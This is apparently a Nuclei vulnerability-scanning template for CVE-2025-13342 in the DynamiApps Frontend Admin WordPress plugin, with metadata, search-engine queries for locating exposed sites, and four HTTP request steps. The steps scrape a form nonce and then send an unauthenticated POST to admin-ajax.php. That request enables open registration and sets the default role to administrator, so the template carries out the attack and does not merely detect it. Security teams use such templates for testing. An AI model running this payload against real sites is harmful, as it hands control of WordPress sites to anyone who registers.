DynamiApps Frontend Admin <= 3.28.20 - Unauthenticated Arbitrary Options Update

id: CVE-2025-13342

info:
  name: DynamiApps Frontend Admin <= 3.28.20 - Unauthenticated Arbitrary Options Update
  author: 0x_Akoko
  severity: critical
  description: |
    DynamiApps Frontend Admin plugin for WordPress <.= 3.28.20 contains a broken access control vulnerability caused by insufficient capability checks and input validation in ActionOptions::run() save handler, letting unauthenticated attackers modify critical WordPress options via crafted form data.
  impact: |
    Unauthenticated attackers can modify critical WordPress options, potentially leading to site takeover or privilege escalation.
  remediation: |
    Update to the latest version beyond 3.28.20.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/613f2035-3061-429b-b218-83805287e4f3
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13342
    - https://github.com/Altelus1/CVE-2025-13342
    - https://plugins.trac.wordpress.org/changeset/3400432/acf-frontend-form-element
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-13342
    epss-score: 0.00507
    epss-percentile: 0.40876
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: dynamiapps
    product: frontend-admin
    framework: wordpress
    fofa-query: body="/wp-content/plugins/acf-frontend-form-element/"
    shodan-query: http.html:/wp-content/plugins/acf-frontend-form-element/
  tags: cve,cve2025,wordpress,wp,wp-plugin,bac,intrusive,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"

    attack: clusterbomb
    payloads:
      paths:
        - /
        - /submit-post/
        - /edit-post/
        - /create-post/
        - /submit/
        - /register/
        - /registration/
        - /signup/
        - /my-account/
        - /account/
        - /submit-form/
        - /frontend-form/
        - /new-post/
        - /add-listing/
        - /add-post/

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "frontend-form", "_acf_nonce", "_acf_form")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: acf_nonce
        part: body
        group: 1
        regex:
          - 'name="_acf_nonce"[^>]*value="([a-f0-9]+)"'
          - 'value="([a-f0-9]+)"[^>]*name="_acf_nonce"'
        internal: true

      - type: regex
        name: acf_form
        part: body
        group: 1
        regex:
          - 'name="_acf_form"[^>]*value="([^"]+)"'
          - 'value="([^"]+)"[^>]*name="_acf_form"'
        internal: true

  - raw:
      - |
        GET /wp-login.php?action=register HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,*/*

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "registration is not allowed", "registration is currently not allowed", "registration=disabled") || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        _acf_nonce={{acf_nonce}}&_acf_form={{url_encode(acf_form)}}&action=frontend_admin%2Fform_submit&acff%5Badmin_options%5D%5Busers_can_register%5D=1&acff%5Badmin_options%5D%5Bdefault_role%5D=administrator

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - '!contains_any(body, "\"success\":false", "\"success\": false", "-1", "invalid_nonce", "nonce_failed")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-login.php?action=register HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,*/*

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "user_login", "user_email")'
          - '!contains_any(tolower(body), "registration is not allowed", "registration is currently not allowed")'
        condition: and
# digest: 4b0a00483046022100dfdb1d1d8a5723e22e5558cbceb72b2e56b609d750e8ecc117b19f97a5c84e01022100a53019c92e324155115b6d9c635d785b2285461b84c11d85e3e0e67b12a03ded:922c64590222798bb761d5b6d8e72950